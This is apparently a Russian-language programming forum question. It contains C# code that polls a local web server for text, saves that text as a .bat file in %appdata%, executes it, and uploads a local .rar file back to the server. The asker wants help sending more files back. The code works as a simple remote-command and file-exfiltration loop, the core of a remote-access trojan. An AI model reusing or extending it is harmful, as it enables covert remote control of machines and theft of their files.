Итак, я сделал некоторый код в C#, который проверяет, что находится внутри файла на определенном веб-сайте. Когда он обнаруживает изменение внутри этого файла, он выполняет некоторую команду. Теперь я думаю, есть ли способ отправить некоторые файлы обратно на сайт? Веб-сайт размещен с использованием Apache2 на Raspberry Pi. Вот код, который я получил:
using System;
using System.Net;
using System.IO;
using System.Threading;
namespace HttpGet
{
class Program
{
static void Main(string[] args)
{
string lastdata = "nice";
int strtp = 0;
string PCName = Environment.MachineName.ToString();
while (true)
{
Console.WriteLine("try..");
var uri = new Uri("http://192.168.1.76/comm.txt");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
using var response = (HttpWebResponse)request.GetResponse();
using var stream = response.GetResponseStream();
using var reader = new StreamReader(stream);
var data = reader.ReadToEnd();
if ((lastdata != data) || (strtp == 0))
{
Console.WriteLine("New data:");
Console.WriteLine(data);
lastdata = data;
string appdata = Environment.ExpandEnvironmentVariables("%appdata%");
string path = appdata + @"\temp\temp.bat";
string pathfold = appdata + @"\temp";
string createText = data; ;
if (!Directory.Exists(pathfold))
{
Directory.CreateDirectory(pathfold);
}
using (StreamWriter writer = new StreamWriter(path))
{
writer.WriteLine(createText);
}
System.Diagnostics.Process.Start(path);
if(strtp == 0)
{
strtp = 1;
lastdata = data;
}
using (WebClient client = new WebClient())
{
client.Headers.Add("Content-Type", "application/octet-stream");
using (Stream fileStream = File.OpenRead(@"C:\Users\JEREDEK\Desktop\2\1.rar"))
using (Stream requestStream = client.OpenWrite(new Uri("http://192.168.1.76/stuff"), "POST"))
{
fileStream.CopyTo(requestStream);
}
}
}
else
{
Console.WriteLine("Nothing new.");
}
Thread.Sleep(3000);
}
}
}
}
Я использую Visual Studio 2019, это важно.